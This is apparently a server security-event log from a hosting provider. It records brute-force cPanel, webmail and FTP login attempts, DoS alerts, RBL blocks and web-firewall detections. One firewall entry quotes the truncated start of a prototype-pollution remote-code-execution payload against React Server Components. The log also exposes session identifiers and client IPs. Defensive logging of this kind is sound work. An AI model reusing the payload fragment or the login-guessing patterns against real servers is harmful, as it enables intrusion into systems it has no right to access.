[2026-06-25 12:04:07 +0000] info [cpaneld] 79.77.117.183 - bawasongroup "GET /login/?login_only=1&user=bawasongroup&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawasongroup (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.102.170.194
country_id: 3996063
description:
[2026-06-25 12:04:15 +0000] info [cpaneld] 201.102.170.194 - bawasong "GET /login/?login_only=1&user=bawasong&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawasong (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.178.250.33
country_id: 3469034
description:
[2026-06-25 12:04:21 +0000] info [cpaneld] 45.178.250.33 - bawason "GET /login/?login_only=1&user=bawason&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawason (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.48.158.138
country_id: 2017370
description:
[2026-06-25 12:04:12 +0000] info [cpaneld] 46.48.158.138 - bawasongroupcom "GET /login/?login_only=1&user=bawasongroupcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawasongroupcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.30.31.146
country_id: 3686110
description:
[2026-06-25 12:04:35 +0000] info [cpaneld] 186.30.31.146 - baw "GET /login/?login_only=1&user=baw&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user baw (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.73.183.127
country_id: 953987
description:
[2026-06-25 12:04:39 +0000] info [cpaneld] 165.73.183.127 - ba "GET /login/?login_only=1&user=ba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.205.52.55
country_id: 2017370
description:
[2026-06-25 12:04:27 +0000] info [cpaneld] 178.205.52.55 - bawas "GET /login/?login_only=1&user=bawas&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-25 12:08:47 +0000] info [cpaneld] 102.54.238.57 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-25 12:14:00 +0000] info [cpaneld] 80.248.64.198 - neliam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.209.223.80
country_id: 2287781
description:
[2026-06-25 12:13:59 +0000] info [webmaild] 102.209.223.80 - support@24heureinfo.tg "POST /cpsess2313856817/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.207.9.92] != Current IP Address [102.209.223.80]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-25 12:14:41 +0000] info [cpaneld] 80.248.64.198 - neliam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.136.179
country_id: 2623032
domain: sthandling-aero.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sthandling-aero.tg:80/img-sys/server_misconfigured.png HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.62.147
country_id: 1210997
domain: sthandling-aero.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sthandling-aero.tg:80/img-sys/powered_by_cpanel.svg HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.1.211
country_id: 2658434
domain: sthandling-aero.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sthandling-aero.tg:80/img-sys/IP_changed.png HTTP/1.1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-25 12:16:06 +0000] info [cpaneld] 80.248.64.198 NEW neliam:REH06Uckf1MEHvXe address=80.248.64.198,app=cpaneld,creator=neliam,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.134.149.83
country_id: 226074
description:
[2026-06-25 12:16:07 +0000] info [cpaneld] 102.134.149.83 - pnls "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: security token missing


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.134.149.83
country_id: 226074
description:
[2026-06-25 12:16:12 +0000] info [cpaneld] 102.134.149.83 NEW pnls:Pc4KqGN3gqzJ8AWW address=102.134.149.83,app=cpaneld,creator=pnls,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.176.143.41
country_id: 2510769
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2018/03/Discours-du-chef-de-lEtat-Faure-Gnassingb\xc3\xa9.-Somment-de-lancement-de-lAlliance-Solaire-Internationale.pdf HTTP/1.1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:16:44 dovecot_login authenticator failed for H=(XWmIMvN) [152.32.198.215]:58912: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:16:49 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:17:25 dovecot_login authenticator failed for H=(BIjaoUNDi) [152.32.198.215]:63102: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:17:23 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.154.98.82
country_id: 2750405
description:
[2026-06-25 12:18:49 +0000] info [whostmgrd] 45.154.98.82 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 83.115.164.78
country_id: 3017382
description:
[2026-06-25 12:19:01 +0000] info [cpaneld] 83.115.164.78 - libe "GET /login/?login_only=1&user=libe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 169.224.9.102
country_id: 99237
description:
[2026-06-25 12:18:40 +0000] info [cpaneld] 169.224.9.102 - libertetogotg "GET /login/?login_only=1&user=libertetogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libertetogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.5.120.104
country_id: 3469034
description:
[2026-06-25 12:18:45 +0000] info [cpaneld] 191.5.120.104 - libertet "GET /login/?login_only=1&user=libertet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libertet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.83.42.125
country_id: 3469034
description:
[2026-06-25 12:18:58 +0000] info [cpaneld] 190.83.42.125 - liber "GET /login/?login_only=1&user=liber&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user liber (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.196.138.66
country_id: 3469034
description:
[2026-06-25 12:19:06 +0000] info [cpaneld] 168.196.138.66 - lib "GET /login/?login_only=1&user=lib&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lib (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.222.199.175
country_id: 3469034
description:
[2026-06-25 12:18:30 +0000] info [cpaneld] 177.222.199.175 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:18:32 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:18:34 dovecot_login authenticator failed for H=(oYBM5K) [152.32.198.215]:65105: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.154.98.82
country_id: 2750405
description:
[2026-06-25 12:18:50 +0000] info [whostmgrd] 45.154.98.82 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.46.14.93
country_id: 2921044
description:
[2026-06-25 12:18:53 +0000] info [cpaneld] 84.46.14.93 - libert "GET /login/?login_only=1&user=libert&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libert (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.164.238.243
country_id: 3996063
description:
[2026-06-25 12:19:09 +0000] info [cpaneld] 45.164.238.243 - li "GET /login/?login_only=1&user=li&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user li (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.176.11.238
country_id: 3895114
description:
Denial of Service (DoS) attack was discovered from 34.176.11.238: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:19:26 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:19:28 dovecot_login authenticator failed for H=(FC0Rx3Z4b) [152.32.198.215]:54021: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:20:38 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:20:58 dovecot_login authenticator failed for H=(oW44aTY) [152.32.198.215]:53260: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:20:40 dovecot_login authenticator failed for H=(STgCxhDx) [152.32.198.215]:57084: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:21:35 dovecot_login authenticator failed for H=(mMcJkVuRtZ) [152.32.198.215]:63484: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.171.100.187
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.171.100.187: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:21:33 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:22:42 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:22:44 dovecot_login authenticator failed for H=(CBmds0) [152.32.198.215]:64848: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:23:28 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:23:30 dovecot_login authenticator failed for H=(Ny0M8tI) [152.32.198.215]:52079: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:24:27 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:24:29 dovecot_login authenticator failed for H=(qZNT3R9L) [152.32.198.215]:52303: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:25:28 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:25:30 dovecot_login authenticator failed for H=(8Dbh2xm) [152.32.198.215]:49804: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:25:53 dovecot_login authenticator failed for H=(GJIVp4Sf) [152.32.198.215]:65041: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: autodiscover.test.free.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"status\":\"resolved_model\",\"_response\":{\"_prefix\":\"var mn=arguments['\\\\x31'];var meus=mn;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"f\\\",\\\"fer\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:26:38 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:26:40 dovecot_login authenticator failed for H=(WqowavrS8) [152.32.198.215]:49220: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.221.240.146
country_id: 6252001
description:
[2026-06-25 12:28:10 +0000] info [cpaneld] 13.221.240.146 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:27:26 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:27:28 dovecot_login authenticator failed for H=(oiaWxeBH6) [152.32.198.215]:53025: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:28:30 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-25 12:28:45 +0000] info [cpaneld] 102.54.238.57 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:28:32 dovecot_login authenticator failed for H=(INMtnTUb) [152.32.198.215]:54396: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.73.251
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-30.152.232.73.251||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.198.133.92
country_id: 1210997
description:
103.198.133.92 - - [25/Jun/2026:12:30:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393756&pdata=https%253A%252F%252Ftogodailynews.tg%252Fagriculture-au-togo-deploiement-de-15000-kits-dirrigation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782390603 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/agriculture-au-togo-deploiement-de-15000-kits-dirrigation/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.9327.1104 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.198.133.92


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.67.76
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-29.152.232.67.76||RSV:8.20||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:29:35 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:29:37 dovecot_login authenticator failed for H=(ojEuoX) [152.32.198.215]:59943: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.72.241
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-29.152.232.72.241||RSV:8.20||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:30:36 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.164
country_id: 3175395
description:
Jun 25 12:31:00 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.164 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:31:01 dovecot_login authenticator failed for H=(NVEnYPy) [152.32.198.215]:52141: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:30:38 dovecot_login authenticator failed for H=(qTqjBj0F) [152.32.198.215]:51918: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 27.115.124.45
country_id: 1814991
description:
27.115.124.45 - - [25/Jun/2026:12:31:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7509911&pdata=http%253A%252F%252Ftogomedia24.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782390698 HTTP/1.1" 404 561 togomedia24.tg "http://togomedia24.tg/" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.45


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:31:40 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.129.150.116
country_id: 2017370
description:
[2026-06-25 12:31:59 +0000] info [cpaneld] 31.129.150.116 - lead "GET /login/?login_only=1&user=lead&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lead (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 116.111.146.254
country_id: 1562822
description:
[2026-06-25 12:32:04 +0000] info [cpaneld] 116.111.146.254 - lea "GET /login/?login_only=1&user=lea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.233.5.103
country_id: 3469034
description:
[2026-06-25 12:32:08 +0000] info [cpaneld] 170.233.5.103 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:31:24 dovecot_login authenticator failed for H=(4nqesak9g) [152.32.198.215]:57584: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.44
country_id: 1814991
description:
123.6.49.44 - - [25/Jun/2026:12:31:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6712935&pdata=https%253A%252F%252Frelanceinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782390687 HTTP/2.0" 302 0 relanceinfo.tg "https://relanceinfo.tg/" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.44


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.189.195
country_id: 3658394
description:
[2026-06-25 12:31:34 +0000] info [cpaneld] 157.100.189.195 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.8.193.150
country_id: 1643084
description:
[2026-06-25 12:31:39 +0000] info [cpaneld] 182.8.193.150 - leadelles "GET /login/?login_only=1&user=leadelles&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadelles (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.143.229.184
country_id: 3996063
description:
[2026-06-25 12:31:42 +0000] info [cpaneld] 189.143.229.184 - leadellestg "GET /login/?login_only=1&user=leadellestg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadellestg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.16.89.51
country_id: 2215636
description:
[2026-06-25 12:31:45 +0000] info [cpaneld] 165.16.89.51 - leadelle "GET /login/?login_only=1&user=leadelle&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadelle (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 101.109.220.212
country_id: 1605651
description:
[2026-06-25 12:31:52 +0000] info [cpaneld] 101.109.220.212 - leadel "GET /login/?login_only=1&user=leadel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadel (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 134.122.27.233
country_id: 6252001
description:
Jun 25 12:32:10 ns5 pure-ftpd[519748]: (?@134.122.27.233) [WARNING] Authentication failed for user [wifizoneuser]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:32:26 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:32:28 dovecot_login authenticator failed for H=(jySuW4q) [152.32.198.215]:57739: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.175.26
country_id: 1880251
description:
43.173.175.26 - - [25/Jun/2026:12:32:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182438&pdata=http%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttp%25253A%25252F%25252Ftogodailynews.tg%25252Fbceao-patrick-kodjo-un-togolais-nomme-a-la-tete-du-cofeb%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782390769 HTTP/1.1" 404 561 togodailynews.tg "http://togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=http%3A%2F%2Ftogodailynews.tg%2Fbceao-patrick-kodjo-un-togolais-nomme-a-la-tete-du-cofeb%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.175.26


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.70
country_id: 1814991
description:
27.115.124.70 - - [25/Jun/2026:12:33:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672861&pdata=http%253A%252F%252Frelanceinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782390804 HTTP/1.1" 302 0 relanceinfo.tg "http://relanceinfo.tg/" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.70


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:33:33 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
